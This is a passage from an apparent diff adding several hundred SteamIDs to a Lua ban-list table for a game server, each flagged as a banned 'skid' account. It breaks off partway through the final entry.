["STEAM_0:1:32655140"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34312753"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27793432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30354419"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22568691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37202312"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34839154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24521119"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17329134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19471493"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15022604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20838073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15937303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17593681"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18773512"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31794277"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35836033"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10253826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26175728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34211283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28085471"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31339508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28442183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29213482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31321883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30616025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30711170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21807507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20243294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35907474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22775323"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15624622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49246025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34457310"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29137358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38357430"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18658629"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15893233"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14477781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12327128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8303211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11924069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34546041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1630772"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42069560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19895145"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41488667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19615629"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32240838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23352242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2401892"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13487220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34944103"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41033981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24987280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24952935"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22007549"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34889824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3850001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4987719"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32337379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33133001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10422513"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47622532"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29161142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19542184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:52652129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18123458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18237716"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15413529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20422965"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37890101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26749073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40900162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17047137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20455877"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28935122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36004244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43871763"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19039040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18494481"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26497089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35075395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25350105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6621383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18340767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7424517"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18698032"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40807732"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41795896"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14552400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37672220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33397949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19774349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17942122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42332871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29923826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11224572"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5332013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5975775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11991248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19430923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41182031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19908190"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41009838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12178926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11398447"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21005235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33145232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39749226"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44003455"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13414338"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18909433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16999019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15294162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35803107"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33712568"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19777056"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14601084"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17605864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19411429"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9184559"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:474513031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22655838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48402101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18329169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20472448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35078510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26185939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5096659"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20960575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14681779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41821978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20046039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35481873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6016470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13800802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11097472"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4282767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20465650"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30430914"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20076120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20515052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22296701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20413794"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42468726"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22565197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17070510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9566359"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19989862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41449104"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19359413"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39172285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28784002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29757250"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22072344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50300534"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1447684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20985802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20800905"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32232529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36240383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22857142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8764977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39893543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29692115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38664148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:375185"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8424048"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21844880"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21522992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15640040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25569676"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14600883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33550426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23226399"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28402212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29755227"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26672860"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10434036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11884768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27872779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18360894"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25792543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15138372"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35380751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13579829"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28786332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10667328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28501625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42188210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40172981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36744172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18510871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21068786"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31762271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16663555"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38260177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40821588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33512177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17618601"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18470571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24877104"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19228490"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40975390"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18740063"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22602824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16749420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39026637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25902788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32229457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40307738"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13829703"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5168067"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28814835"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22972079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19540362"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26902877"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27517358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7461655"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17489944"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20228978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5279834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20756870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24725178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15036495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24857306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:451076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32976363"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22514809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41912255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19375328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18589283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19787006"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19660907"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23381236"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28374287"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27275974"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:551299"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7265540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31453949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29985089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35169940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29201203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2178542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45591543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34037304"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26005267"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26425450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12543746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3834778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25647579"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3307510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22603175"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22218417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25004966"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25813064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32101466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17869291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19054126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33172669"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9848820"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19784590"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30863254"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25352929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18174875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19808069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31778466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29731994"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17434439"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10062345"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31250000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25749661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30864469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24345782"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13790646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20065604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13447259"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30867247"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20034074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34037139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19956375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22136235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25436777"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16581100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27283327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17852480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15206661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20007973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18877713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29306433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26710083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12101360"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33968303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30613840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18969955"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30438256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40169497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25601847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29947684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20940543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18927692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18616854"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27817036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22895461"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27182543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3773275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17801422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27731643"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6010615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18916223"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34399836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18020403"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20353407"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17353490"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:50547833"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45593469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19717088"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21973264"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8594974"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13251708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42397636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29884665"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41340365"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30470013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29884021"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38138183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38272819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16494696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18965980"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20562969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5151406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27060929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16399037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11651466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16770723"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28673568"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28898129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10273783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33800787"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29228925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25470222"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6203775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16705535"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31811900"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24294040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3088660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29016340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29803069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22442204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43311176"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20931769"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20692197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26924978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22360925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33369342"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35656128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24312534"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26393252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5953934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49380316"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30071536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19694319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20730820"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30449593"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45591282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24019822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26280658"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23772540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32987798"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7969309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20767431"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20703300"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32697825"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11528790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27313124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24244615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34735746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:52809212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5220876"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12956620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26675976"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28801124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36797892"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1473373"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17989019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17651148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16650344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28672988"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32072020"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14736388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12854354"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27056420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35705026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22756211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7257048"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18095243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26424610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6012327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6150995"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20180045"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10896304"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6857780"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34205427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13374194"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28425458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17921660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18620790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10814808"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14593437"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16300432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29971150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19006518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33846251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24382438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7394966"] = {Name = "banlist: ", 